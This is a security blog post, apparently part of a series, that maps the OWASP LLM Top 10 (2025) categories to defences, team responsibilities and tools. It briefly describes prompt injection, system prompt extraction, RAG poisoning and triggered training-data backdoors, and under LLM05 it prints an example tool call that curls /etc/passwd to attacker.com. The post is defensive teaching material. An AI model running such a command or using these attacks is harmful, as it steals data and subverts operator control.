OWASP Top 10 History → The Four OWASP Lists → Why Classic OWASP Breaks for LLMs → OWASP LLM Top 10 2025
TL;DR
- OWASP LLM Top 10 2025 (v2.0, released November 2024) covers the 10 attack categories that specifically target language model applications — from prompt injection to resource exhaustion
- v2.0 added two new categories that didn’t exist in 2023: System Prompt Leakage (LLM07) and Vector/Embedding Weaknesses (LLM08), both driven by the explosion of RAG and agentic AI deployments
- Sensitive Information Disclosure moved from #6 to #2 — not a theoretical reprioritization; real breach data from production LLM deployments drove it up
- The 10 categories divide into three tiers by defense complexity: structural (LLM03, LLM04 — prevent at training time), runtime (LLM01, LLM02, LLM05, LLM07, LLM08 — require active guardrails), and architectural (LLM06, LLM09, LLM10 — require system design changes)
- Each category in this post links to its dedicated deep-dive episode in Parts II and III
OWASP Mapping: This episode is the complete reference map for the series. All 10 OWASP LLM Top 10 (2025) categories are covered at orientation depth. Deep dives with Red/Detect/Defend structure begin in EP05.
The Big Picture
OWASP LLM TOP 10 (2025): ATTACK SURFACE MAP
TRAINING TIME RUNTIME AGENCY
───────────────────────────────────────────────────────────────────────
LLM03 Supply Chain LLM01 Prompt Injection LLM06 Excessive Agency
└─ Poisoned model weights └─ Direct (user input) └─ Agent tool over-permission
└─ Malicious plugins └─ Indirect (via RAG) └─ Unintended action chains
LLM04 Data/Model Poisoning LLM02 Info Disclosure LLM10 Unbounded Consumption
└─ Training data backdoors └─ PII, API keys in output └─ Token/compute exhaustion
└─ Fine-tuning manipulation └─ Training data extraction └─ Cost amplification via API
LLM05 Output Handling
└─ Unsafe output downstream
└─ Injected content in resp.
LLM07 System Prompt Leakage
└─ Extracting hidden context
└─ Revealing business logic
LLM08 Vector/Embedding Weaknesses
└─ RAG database poisoning
└─ Access control on retrieval
LLM09 Misinformation
└─ Confident hallucination
└─ False citations
───────────────────────────────────────────────────────────────────────
DEFENSE LAYER Training governance Guardrails + scanning Capability scoping
PRIMARY TOOL Data validation LLM Guard, NeMo Tool RBAC, auditing
Model integrity Guardrails Rate limiting
The OWASP LLM Top 10 2025 is the standard vocabulary for discussing language model attack surfaces. This map is what every team deploying LLMs in production should have on the wall — not as a checklist to tick, but as a threat model to reason against.
What Changed: v1.0 (2023) → v2.0 (2025)
| Change | v1.0 (2023) | v2.0 (2025) | Why |
|---|---|---|---|
| New category | — | LLM07 System Prompt Leakage | System prompt extraction became a documented, prevalent attack |
| New category | — | LLM08 Vector/Embedding Weaknesses | RAG deployments exploded; vector DB poisoning needed its own category |
| Reprioritized | LLM06 Sensitive Info Disclosure | LLM02 Sensitive Info Disclosure | Moved from #6 to #2 based on actual breach patterns |
| Renamed/refocused | LLM07 Insecure Plugin Design | Merged into LLM03 Supply Chain | Plugin risk subsumed into broader supply chain category |
| Renamed | LLM09 Overreliance | LLM09 Misinformation | Refocused from user behavior to model behavior as the risk |
| Consolidated | LLM04 Model DoS | LLM10 Unbounded Consumption | Merged resource exhaustion into a broader consumption category |
| Dropped | LLM10 Model Theft | Consolidated into LLM03 | Model theft is a supply chain / data exfiltration variant |
The two additions (LLM07, LLM08) reflect where the attack surface moved in 2023–2024. As organizations deployed RAG applications, attackers found that the retrieval step was an injection surface — poisoned documents in the vector store become indirect prompt injections. As system prompts became more sophisticated (containing business logic, API keys, behavioral constraints), extracting them became a valuable reconnaissance objective.
The 10 Categories
LLM01: Prompt Injection
What it is: An attacker’s input manipulates the model’s behavior beyond its intended function. Direct injection: the user’s message itself contains the attack. Indirect injection: the attack arrives embedded in content the model retrieves (a document, a web page, a database entry) rather than from the user directly.
Why it’s #1: It’s the most exploited category and the hardest to structurally eliminate. Because the model cannot reliably distinguish instruction from data (see EP03), every input path is a potential injection surface.
Who is responsible: Application developers (input validation layer), DevSecOps (guardrail deployment, CI/CD testing), Red Team (adversarial probing with Garak/PyRIT).
Deep dive: Prompt Injection Attacks: How LLM01 Becomes Full System Compromise → (EP05)
LLM02: Sensitive Information Disclosure
What it is: The model outputs information it should not — training data (including PII or proprietary data that leaked into training sets), system prompt contents, API keys, credentials injected into the context window by application code.
Why it moved to #2: Production breach data from 2023–2024 showed consistent patterns: models trained on customer data exposing PII in responses, API keys embedded in system prompts being extracted, model inversion attacks recovering training data fragments.
Who is responsible: ML Engineers (training data governance, PII scrubbing before training), Developers (never put secrets in system prompts, use secret management), Compliance (data inventory: what is in the training set?).
Deep dive: LLM Sensitive Information Disclosure: When the Model Becomes the Data Leak → (EP06)
LLM03: Supply Chain
What it is: The LLM supply chain is broader than software supply chain. Compromise vectors include: pre-trained model weights from untrusted sources, compromised third-party plugins or tool integrations, poisoned fine-tuning datasets, malicious model cards that instruct users to run unsafe code.
Classic parallel: Software supply chain attacks (SolarWinds, XZ Utils) compromise a dependency that downstream users trust. LLM supply chain attacks compromise the model artifact or its training inputs that all downstream deployments inherit.
Who is responsible: DevSecOps (verify model artifact integrity before deployment), ML Engineers (training pipeline data provenance), Security (threat model for third-party plugin integrations).
For supply chain anatomy from SolarWinds to XZ Utils in the software context, see supply chain attacks and software dependency compromise in the Purple Team series.
Deep dive: LLM Supply Chain: From Poisoned Models to Malicious Plugins → (EP07)
LLM04: Data and Model Poisoning
What it is: An attacker with influence over the training or fine-tuning pipeline inserts malicious content that creates a backdoor in the model. The backdoor activates when specific trigger conditions are present at inference time — the model behaves normally otherwise and abnormally (bypassing safety filters, leaking data, executing attacker instructions) when triggered.
Why it matters at infrastructure scale: Fine-tuning on organizational data is increasingly common. If your fine-tuning pipeline ingests data from a source an attacker can influence — a shared document store, a public dataset, a third-party data vendor — the attack surface exists.
Who is responsible: ML Engineers (training data validation, dataset provenance controls), Security (threat model for training pipeline access), Data governance (who can write to training data sources?).
Deep dive: Data and Model Poisoning: How Training Data Becomes a Backdoor → (EP08)
LLM05: Improper Output Handling
What it is: The model’s output is consumed by downstream systems — databases, code interpreters, browser rendering, email senders — without adequate validation or sanitization. The output becomes the injection vector into those downstream systems.
Classic parallel: Stored XSS — attacker input is persisted and later rendered in a browser as HTML/JS. The model’s output, if rendered in a browser context, is the same attack path. If the model generates SQL, a code interpreter runs it. If the model generates shell commands that an agent executes, command injection follows.
Why it matters for agents: Agentic LLMs don’t just produce text for a human to read — they produce structured outputs that downstream tools act on. An injection that causes the model to output {"tool": "execute_shell", "command": "curl attacker.com/exfil?data=$(cat /etc/passwd)"} is a code execution vulnerability, not a text generation edge case.
Who is responsible: Developers (output sanitization before downstream consumption), DevSecOps (output scanning in the inference pipeline).
Deep dive: Improper LLM Output Handling: Injection That Lives in the Response → (EP09)
LLM06: Excessive Agency
What it is: An LLM agent is granted more tool access, permissions, or autonomous authority than required for its stated function — and is then manipulated (via prompt injection or other means) into using those capabilities in unintended ways.
Classic parallel: Principle of least privilege — a process should have only the permissions required for its function. Violation of PoLP in classic systems allows privilege escalation. For agents, violation means an injected instruction can cause the agent to call tools (send email, query databases, make API calls) it has permission to call but should not be calling in that context.
The agentic AI amplifier: As LLM agents gain more tool integrations, the blast radius of a successful injection increases. An agent that can read email, write to databases, and call external APIs is not just a chatbot — it is an automated system that an attacker can hijack.
Who is responsible: Developers (scope tool access to the minimum required, implement human-in-the-loop for high-impact actions), DevSecOps (monitor tool call sequences for anomalies), Security Architecture (review agent capability scope before deployment).
For the IAM dimension — how excessive agency maps to IAM privilege escalation in cloud environments — see the Cloud IAM series EP08.
Deep dive: LLM Excessive Agency: When Your AI Agent Goes Off-Script → (EP10)
LLM07: System Prompt Leakage (New in v2.0)
What it is: System prompts often contain operational business logic, behavioral constraints, tool configuration, and sometimes API keys or internal system information. An attacker who can extract the system prompt gains a reconnaissance advantage — understanding the model’s constraints enables targeted bypass attempts, and system prompt contents may directly contain sensitive data.
Why it’s new in v2.0: As organizations embedded more complexity into system prompts — persona definitions, RAG configuration, tool schemas, operational constraints — the value of extracting them increased. Extraction techniques became well-documented and reliable enough to warrant a dedicated category.
Classic parallel: Configuration file disclosure — if an attacker can read your nginx config or application config, they understand the system’s structure and may find credentials or internal URLs embedded there.
Who is responsible: Developers (don’t put secrets in system prompts — use secret management; treat system prompts as sensitive assets), Security (test for system prompt extraction as part of LLM security assessment).
Deep dive: System Prompt Leakage: Extracting the Instructions Your LLM Hides → (EP11)
LLM08: Vector and Embedding Weaknesses (New in v2.0)
What it is: RAG applications retrieve content from a vector database to augment the model’s context. Attack surfaces include: poisoning the vector store with documents that contain adversarial instructions (indirect prompt injection at retrieval time), accessing documents across access control boundaries (user A’s documents returned in user B’s query), and manipulating embeddings to cause incorrect retrieval.
Why it’s new in v2.0: RAG deployment became mainstream in 2023–2024. The vector database is now a first-class attack surface — previously implicit in LLM01 (indirect injection), now warranting its own category because the access control and integrity dimensions are distinct from basic prompt injection.
The access control dimension: A vector database that doesn’t enforce document-level permissions exposes all indexed content to all users. If your organization indexes HR documents, legal documents, and engineering runbooks in the same vector store with the same retrieval logic, any user who can query the chatbot can potentially retrieve any indexed document through a crafted query.
Who is responsible: Developers (document-level access control on vector store retrieval), DevSecOps (monitor retrieval logs for access anomalies), ML Engineers (document provenance and integrity controls on ingestion).
For the IAM angle on RAG service account permissions, see OIDC workload identity for service accounts in the Cloud IAM series.
Deep dive: RAG Security: Vector Database and Embedding Weaknesses in LLM Apps → (EP12)
LLM09: Misinformation
What it is: The model generates factually incorrect information, fabricated citations, or false claims presented with high confidence. In security contexts, this includes: incorrect security guidance that creates false assurance, fabricated CVE details that misdirect incident response, or hallucinated code that contains vulnerabilities.
Why it’s a security category, not just a quality issue: Misinformation becomes a security risk when: (1) the output is used to make security decisions, (2) the output is published and influences other actors, or (3) an attacker deliberately triggers confident false outputs (LLM09 as an intentional attack, not just an emergent behavior).
Intentional misinformation attack: An attacker who can cause an AI assistant to confidently describe a non-existent security control as effective, or to fabricate that a CVE was patched when it wasn’t, has compromised the organization’s decision-making process without needing any code execution.
Who is responsible: Developers (build output grounding and citation verification into AI-assisted workflows), Compliance (AI systems used for compliance advice must have human review gates), Operators (track model accuracy metrics over time; model drift can increase hallucination rates).
Deep dive: LLM Misinformation Risk: When Confident Wrong Answers Are the Attack → (EP13)
LLM10: Unbounded Consumption
What it is: Uncontrolled consumption of LLM resources — tokens, compute, API calls, cost — without limits. Attack variants include: sending large context windows to maximize per-request cost, triggering long-running generation chains, orchestrating many simultaneous requests to exhaust rate limits, and exploiting prompt structures that cause disproportionate compute usage.
Why it matters at scale: LLM API calls are not free. An application without token budgets, rate limiting, and cost alerts is susceptible to resource exhaustion that manifests as budget impact, service degradation, or availability loss. A model that can be prompted to generate indefinitely (recursive summarization, chain-of-thought loops) can be used for targeted DoS against the application.
Who is responsible: DevSecOps (rate limiting, token budgets, cost monitoring and alerting), Developers (max token limits on all API calls, timeout policies for generation), FinOps (anomaly detection on AI API spend).
Deep dive: LLM Rate Limiting and Unbounded Consumption: The DoS Nobody Talks About → (EP14)
Roles and Responsibilities: The RACI View
| Category | Developer | DevSecOps | Red Team | ML Engineer | Compliance |
|---|---|---|---|---|---|
| LLM01 Prompt Injection | Input validation layer | Guardrail deployment | Adversarial probing | — | Testing evidence |
| LLM02 Info Disclosure | No secrets in prompts | Output scanning | Extraction testing | Training data PII scrub | Data inventory |
| LLM03 Supply Chain | Plugin vetting | Artifact integrity checks | Supply chain threat model | Dataset provenance | Vendor risk |
| LLM04 Data Poisoning | — | Pipeline access controls | Backdoor detection testing | Training data validation | Data governance |
| LLM05 Output Handling | Output sanitization | Output scanning | Downstream injection testing | — | Audit evidence |
| LLM06 Excessive Agency | Tool scope design | Tool call monitoring | Agent capability testing | — | Agency policy |
| LLM07 System Prompt Leakage | Secret management | — | Extraction testing | — | Prompt inventory |
| LLM08 Vector Weaknesses | Doc-level ACL | Retrieval log monitoring | RAG poisoning testing | Embedding integrity | Access control audit |
| LLM09 Misinformation | Grounding + citations | Accuracy monitoring | Intentional hallucination testing | Drift detection | Decision review gates |
| LLM10 Unbounded Consumption | Max token limits | Rate limiting, cost alerts | Resource exhaustion testing | — | Budget controls |
Defense Tier Classification
Not all 10 categories require the same type of defense. Classifying them by defense complexity:
Tier 1 — Structural (requires training-time or design-time controls)
– LLM03 Supply Chain: fix before deployment via artifact integrity and supply chain governance
– LLM04 Data/Model Poisoning: fix at training pipeline via data provenance and validation
Tier 2 — Runtime (requires active guardrails at inference time)
– LLM01 Prompt Injection: input classification, output monitoring, indirect injection detection
– LLM02 Sensitive Info Disclosure: output scanning for PII/secret patterns
– LLM05 Improper Output Handling: sanitization before downstream consumption
– LLM07 System Prompt Leakage: extraction testing, secret management hygiene
– LLM08 Vector/Embedding Weaknesses: retrieval access controls, document integrity
Tier 3 — Architectural (requires system design changes)
– LLM06 Excessive Agency: capability scoping, human-in-the-loop design
– LLM09 Misinformation: grounding mechanisms, output verification workflows
– LLM10 Unbounded Consumption: rate limiting, token budgets, cost monitoring architecture
Most organizations start with Tier 2 (deployable guardrails) and work outward. Tier 3 issues are often found late because they require reviewing architectural decisions, not just adding scanning layers.
Tool Coverage Summary
| Tool | Type | Categories Addressed |
|---|---|---|
| Garak (NVIDIA) | LLM red team scanner | LLM01, LLM02, LLM07, LLM09 |
| PyRIT (Microsoft) | Red team framework | LLM01, LLM02, LLM06, LLM07 |
| Promptfoo | LLM evals / CI testing | LLM01, LLM09 |
| LLM Guard | Runtime scanner | LLM01, LLM02, LLM05, LLM07 |
| NeMo Guardrails | Conversation rails | LLM01, LLM06 |
| AWS Bedrock Guardrails | Managed cloud guardrails | LLM01, LLM02, LLM09 |
| Trivy / cosign | Artifact integrity | LLM03 |
| Vector DB access controls | Access management | LLM08 |
| Token budget / rate limiter | Resource controls | LLM10 |
Full tooling deep dives: EP15 (red team tools), EP16 (runtime defense).
⚠ Production Gotchas
“We addressed prompt injection so we’re covered on the list”
LLM01 is one of ten categories. Addressing prompt injection while ignoring LLM08 (RAG poisoning) means an attacker bypasses the input filter entirely by poisoning a document in your vector store. Address the list as a system, not category by category.
“Our model provider handles safety”
Model providers implement safety training (RLHF, constitutional AI). They do not control your system prompt contents (LLM07), your vector store access controls (LLM08), your agent’s tool permissions (LLM06), or how your application handles the model’s output (LLM05). 6 of the 10 categories are substantially or entirely in your application’s control.
“We’ll address LLM security after we launch”
LLM03 (Supply Chain) and LLM04 (Data Poisoning) are training-time and deployment-time concerns — if your model was trained on unverified data or deployed from an unverified artifact, retrofitting fixes post-launch is not straightforward. Security architecture for LLMs needs to happen at design and training time, not just at the guardrail layer.
Quick Reference: OWASP LLM Top 10 (2025)
| # | Category | Attack Vector | Defense Tier | Deep Dive |
|---|---|---|---|---|
| LLM01 | Prompt Injection | User input, retrieved context | Runtime | EP05 |
| LLM02 | Sensitive Info Disclosure | Model output | Runtime | EP06 |
| LLM03 | Supply Chain | Model artifacts, plugins, datasets | Structural | EP07 |
| LLM04 | Data/Model Poisoning | Training/fine-tuning pipeline | Structural | EP08 |
| LLM05 | Improper Output Handling | Downstream system consumption | Runtime | EP09 |
| LLM06 | Excessive Agency | Agent tool execution | Architectural | EP10 |
| LLM07 | System Prompt Leakage | Extraction via adversarial prompts | Runtime | EP11 |
| LLM08 | Vector/Embedding Weaknesses | RAG retrieval, vector DB | Runtime | EP12 |
| LLM09 | Misinformation | Model generation | Architectural | EP13 |
| LLM10 | Unbounded Consumption | Resource exhaustion | Architectural | EP14 |
Framework Alignment
| Framework | Connection to LLM Top 10 |
|---|---|
| NIST AI RMF (MAP/MEASURE) | LLM Top 10 is the primary technical risk catalog to MAP against; MEASURE includes testing coverage per category |
| ISO 42001:2023 | Controls 6.1–6.2 (AI risk assessment) require documenting risks aligned to these categories |
| EU AI Act (Art. 9) | High-risk AI system risk management must address categories like LLM01, LLM04, LLM06 explicitly |
| SOC 2 (CC7) | Anomaly detection evidence for CC7.2 should include LLM01 injection detection, LLM10 consumption monitoring |
Full compliance deep dive: EP17.
Key Takeaways
- OWASP LLM Top 10 v2.0 (2025) added System Prompt Leakage and Vector/Embedding Weaknesses because RAG and agentic AI created attack surfaces that weren’t prominent in 2023
- The 10 categories divide into three defense tiers: structural (training-time), runtime (guardrails), and architectural (system design) — each requiring different team ownership and different testing approaches
- 6 of the 10 categories are substantially in your application’s control, not your model provider’s
- The RACI view matters: different categories own differently across Developer, DevSecOps, ML Engineer, Red Team, and Compliance — no single role covers all 10
- This is the reference map; every deep-dive episode in this series maps back to one or more rows in the Quick Reference table above
What’s Next
Parts II and III cover each category in depth with Red/Detect/Defend structure. Starting with the category that’s been #1 since the first version — and the one where the classic defense cannot be applied.
Prompt Injection Attacks: How LLM01 Becomes Full System Compromise →
Get EP05 in your inbox when it publishes → subscribe